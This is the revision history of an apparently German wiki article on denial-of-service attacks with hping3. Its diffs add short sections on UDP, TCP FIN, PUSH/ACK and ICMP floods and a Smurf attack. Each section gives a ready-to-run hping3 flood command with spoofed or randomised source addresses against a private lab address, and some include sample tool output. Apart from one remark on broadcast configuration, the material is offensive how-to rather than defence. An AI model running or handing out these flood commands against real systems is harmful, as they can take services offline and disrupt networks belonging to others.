DOS mit hping3 - Versionsgeschichte

Thomas.will: /* Smurf Attacke */

2023-02-26T14:34:00Z

Smurf Attacke

2023-02-26T14:28:59Z

Smurf Attacke

2023-02-26T14:28:50Z

ICMP Flood

2023-02-26T14:26:56Z

ICMP Flood

2023-02-26T14:26:29Z

ICMP Flood

2023-02-26T14:25:59Z

PUSH and ACK Flood

2023-02-26T14:25:30Z

PUSH and ACK Flood

2023-02-26T14:24:54Z

TCP Fin Flood

2023-02-26T14:24:13Z

TCP Fin Flood

2023-02-26T14:23:40Z

UDP Flood

@@ Zeile 32: / Zeile 32: @@
   hping in flood mode, no replies will be shown
 =Smurf Attacke=
-Als Guter letzt gibt es noch die Smurf Attacke. Diese nutzt die Kraft noch weiterer Server / Clienten im Netz des Ziels aus. Es wird mit Hilfe der Broadcast-Adresse eine Anfrage ans Netz versendet, was alle im Netzwerk anspricht und danach bittet das Ziel mal an zu pingen. Passiert das im großen Stil, kommen von vielen im Netzwerk befindlichen Servern / Clients eine große Anzahl an Antworten.
+Smurf-Angriffe treten auf, wenn eine gefälschte Quelladresse eine große Menge ICMP-Pakete an die Broadcast-Adresse sendet. Hosts in diesem Netzwerk antworten dann, da sie unterstützt werden, um auf Broadcast-Adressen zu antworten. Dies führt zu einer Denial-of-Service-Situation im lokalen LAN. Normalerweise möchten Sie, dass Ihre Netzwerkgeräte keine gerichtete Übertragung über die Schnittstelle senden, sodass das Paket verworfen wird und nichts Schlimmes passiert. Wenn diese infrastrukturbasierte Konfiguration jedoch nicht festgelegt ist, wird der Smurf-Angriff erfolgreich sein.
 *'''hping3 --icmp --spoof 192.168.34.1 192.168.34.255'''

@@ Zeile 33: / Zeile 33: @@
 =Smurf Attacke=
 Als Guter letzt gibt es noch die Smurf Attacke. Diese nutzt die Kraft noch weiterer Server / Clienten im Netz des Ziels aus. Es wird mit Hilfe der Broadcast-Adresse eine Anfrage ans Netz versendet, was alle im Netzwerk anspricht und danach bittet das Ziel mal an zu pingen. Passiert das im großen Stil, kommen von vielen im Netzwerk befindlichen Servern / Clients eine große Anzahl an Antworten.
-*hping3 --icmp --spoof 192.168.34.1 192.168.34.255
+*'''hping3 --icmp --spoof 192.168.34.1 192.168.34.255'''

← Nächstältere Version		Version vom 26. Februar 2023, 14:28 Uhr
Zeile 31:		Zeile 31:
	HPING 192.168.34.1 (eth0 192.168.34.1): icmp mode set, 28 headers + 0 data bytes		HPING 192.168.34.1 (eth0 192.168.34.1): icmp mode set, 28 headers + 0 data bytes
	hping in flood mode, no replies will be shown		hping in flood mode, no replies will be shown
		+	=Smurf Attacke=
		+	Als Guter letzt gibt es noch die Smurf Attacke. Diese nutzt die Kraft noch weiterer Server / Clienten im Netz des Ziels aus. Es wird mit Hilfe der Broadcast-Adresse eine Anfrage ans Netz versendet, was alle im Netzwerk anspricht und danach bittet das Ziel mal an zu pingen. Passiert das im großen Stil, kommen von vielen im Netzwerk befindlichen Servern / Clients eine große Anzahl an Antworten.
		+	*hping3 --icmp --spoof 192.168.34.1 192.168.34.255

← Nächstältere Version		Version vom 26. Februar 2023, 14:26 Uhr
Zeile 29:		Zeile 29:
	ICMP (z.B. Ping) ist auch eine verbindungslose Kommunikation und zielt einfach nur darauf ab das Ziel mit Überforderung auszuschalten.		ICMP (z.B. Ping) ist auch eine verbindungslose Kommunikation und zielt einfach nur darauf ab das Ziel mit Überforderung auszuschalten.
	*'''hping3 --flood --rand-source -1 -p 80 192.168.34.1'''		*'''hping3 --flood --rand-source -1 -p 80 192.168.34.1'''
		+	HPING 192.168.34.1 (eth0 192.168.34.1): icmp mode set, 28 headers + 0 data bytes
		+	hping in flood mode, no replies will be shown

@@ Zeile 28: / Zeile 28: @@
 =ICMP Flood=
 ICMP (z.B. Ping) ist auch eine verbindungslose Kommunikation und zielt einfach nur darauf ab das Ziel mit Überforderung auszuschalten.
+*'''hping3 --flood --rand-source -1 -p 80 192.168.34.1'''

@@ Zeile 23: / Zeile 23: @@
 Durch Überfluten eines Servers mit einer Reihe von PUSH- und ACK-Paketen kann der Angreifer verhindern, dass der Server auf die legitimen Anforderungen reagiert.
 *'''hping3 --flood --rand-source -PA -p 80 192.168.34.1'''
 =ICMP Flood=

@@ Zeile 16: / Zeile 16: @@
 =TCP Fin Flood=
 TCP Fins werden eigentlich vom Server nur akzeptiert wenn eine Verbindung bereits besteht. Aber trotzdem braucht dieser eine gewisse Rechenkapazität, um auf diese Pakete antworten zu können. Wird ihm das zu viel, kommt er nicht mehr hinterher und kann “echte” Anfragen eventuell nicht mehr bedienen.
+*'''hping3 --flood --rand-source -F -p 80 192.168.34.1'''
-*hping3 --flood --rand-source -F -p 80 192.168.34.1
+ HPING 192.168.34.1 (eth0 192.168.34.1): F set, 40 headers + 0 data bytes
 =PUSH and ACK Flood=

@@ Zeile 11: / Zeile 11: @@
 UDP ist bekanntlich keine Session basierte Kommunikation, sondern sehr einseitig. Es werden gnadenlos einfach Pakete zum Ziel gesendet, in der Hoffnung, dass diese auch dort ankommen.
 *'''hping3 --flood --rand-source --udp -p 53  192.168.34.1'''
 =TCP Fin Flood=